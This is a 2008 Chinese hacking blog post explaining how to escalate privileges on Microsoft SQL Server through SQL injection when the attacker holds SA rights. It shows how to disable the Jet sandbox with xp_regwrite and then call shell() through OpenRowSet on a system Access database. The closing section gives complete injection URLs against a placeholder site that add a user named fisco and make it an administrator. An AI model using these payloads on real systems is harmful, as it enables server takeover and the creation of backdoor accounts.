1. 公告

    • 黑夜给了我黑色的眼睛去寻找光明,阳光给了我明亮的眼睛我却是去寻找黑暗,所以我只有在夜里才出现真实的自己。(菩提本不树,明镜亦非台,本来无一物,何处染尘埃。)
  2. 写作时间

    << 2008-11 >>

    Sun

    Mon

    Tue

    Wed

    Thu

    Fri

    Sat

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    18

    19

    20

    21

    22

    23

    24

    25

    26

    27

    28

    29

  3. 原创下载

  4. 最新文章

  5. 最新评论

  6. 文章归档

  7. Statistics

    • 文章总数:172
    • 评论总数:60
    • 引用总数:0
    • 浏览总数:221449
    • 留言总数:0
    • 当前样式:4u-HK
    • 当前语言:zh-CN
  8. 友情链接

  9. 反向链接

关于沙盒模式提权的一点札记

Author:fisco/泡泡鱼
Date:2008-1-31
[未经本人同意不得以任何形式进行转载]

关于沙盒模式下提权,早已经不是什么新鲜的技术了。这个应该在去年年初的时候就已经被广泛的利用开来并且网上也公布出来的Soshell这款傻瓜化的利用工具。只是大家在实战中往往忘记。我这里所要说的,仅仅是自己看到的一些资料的总结,或许对新手有所帮助。
首先还是要说一下,到底什么是沙盒模式。简单的说,沙盒模式是一种安全功能。在沙盒模式下,Access只对控件盒字段属性中的安全且不含有恶意的代码表达式进行求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。当Access以沙盒模式运行时,调用这些函数的表达式将会产生错误消息。
再来说一下,到底什么时候提全才真正能使用沙盒模式呢?网上流传的说法是有DB_Owner权限就可以使用了。这个是不正确的。 使用沙盒模式需要得到一个SA权限的注射点,这样才可以使用xp_regwrite存储过程改写注册表启用。当然了,如果SA权限可以执行cmd命令的话,也没有必要使用沙盒模式提全了,直接加帐号开启终端服务就可以了嘛。这里所说的情况就是虽然具有了SA权限,但是xp_cmdshell被删除并且xplog70.dll也无法恢复的情况下使用。另外还要补充一下的是,虽然有的注射点是用SA帐号连接的,但是SQLserver本身没有以system权限运行的情况下,当然沙盒模式也是无法成功的了。
前面说了一大堆的东西,下面进入正题吧。既然我们要用沙盒模式,那么第一步自然是要开启沙盒模式了。启动沙盒模式是需要修改注册表里的一个叫SandBoxMode的开关。将它由默认的2改为0。这个开关的位置是:HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode。这里为0表示始终禁用沙盒模式,1表示对非ACCESS应用程序使用沙盒模式,2表示对于Access应用程序使用沙盒模式,3则是完全开启安全设置。
我们使用xp_regwrite这个存储过程对注册表进行写操作,关掉沙盒模式。SQL语句为:
EXEC master.dbo.xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SoftWare\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,0 执行成功沙盒模式就被关闭了。
沙盒模式是针对Access的,而我们所说的注入点是MSSQL的,因此如果利用它,我们需要在系统中找到一个Access的数据库。还好,Windows系统目录下已经存在了两个这样的数据库,位置是%windir%\system32\ias\ias.mdb 和 %windir%\system32\ias\dnary.mdb。接下来我们就可以构造如下的注入语句:
Select * From OpenRowSet(‘Microsoft.Jet.OLEDB.4.0’,’;Database=c:\windows\system32\ias\ias.mdb’,’select shell(“net user fisco fisco /add”)’);成功执行后就可以添加一个帐号和密码都为fisco的帐号了。同样的方法我们可以将他加到管理员组。就不再演示了。
最后我用本地架设的一个SA权限注射点完整演示所提交的语句:
http://www.site.com/detail.asp?id=15;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--

http://www.site.com/detail.asp?id=15;Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user fisco fisco /add")');--

http://www.site.com/detail.asp?id=15;Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators fisco /add")');--

您或许还对以下的内容感兴趣:

PcAnywhere12提权方法  (2008-2-7 21:33:49)

沙盒  提权  
如果您拥有一个BLOG,如果您的BLOG的PV/IP/PR还算不错,如果您打算用您所拥有的BLOG来赚钱,那么我来告诉您几个赚钱的方法:

1、透过 Google AdSense 使您的BLOG产生收益

2、您还可以通过申请TextLinkAds投放者来直接出售链接位从而产生收入。